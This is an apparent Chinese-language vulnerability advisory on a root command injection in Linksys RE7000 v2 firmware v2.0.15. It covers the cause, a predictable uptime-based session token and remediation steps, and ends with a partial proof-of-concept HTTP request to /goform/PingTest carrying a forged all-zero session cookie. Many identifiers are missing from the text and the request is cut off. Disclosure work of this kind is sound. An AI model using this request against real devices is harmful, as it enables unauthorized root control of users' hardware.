Linksys RE7000 v2 固件命令注入漏洞分析

Linksys RE7000 v2 命令注入漏洞总结 漏洞概述 漏洞名称：Linksys RE7000 v2 固件 v2.0.15 OS 命令注入（Root） 漏洞类型：OS 命令注入（Command Injection） 根本原因： 由 lighttpd 重写到 ，最终调用 函数。该函数读取攻击者可控参数 、 、 ，并通过 拼接成 shell 命令后直接 执行，未做白名单校验或 shell 元字符过滤，导致以 root 身份执行注入命令。 附加风险： 生成的 session token 仅基于 （系统运行时间），可预测，结合 uptime 泄露可逼近未认证 RCE。 影响范围 厂商：Linksys (Belkin) 产品：RE7000 v2 AC1900 Wi-Fi Range Extender 固件版本：v2.0.15 固件文件： 权限：以 root 执行，可完全控制设备 关键函数 修复方案 1. 输入校验：对 、 、 做严格白名单/类型校验，过滤 shell 元字符（ 、 、 、 、反引号等）。 2. 避免 shell 执行：用 直接调用 可执行文件，替代 。 3. 加固 session token： 改用随机数（如 ）而非 uptime，避免 token 可预测。 4. 最小权限：将 web 服务从 root 降权运行，限制注入后的影响面。 POC / 利用代码 ``` PUT /goform/PingTest HTTP/1.1 Host: Cookie: session_id=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Linksys RE7000 v2 固件命令注入漏洞分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Linksys RE7000 v2 固件命令注入漏洞分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！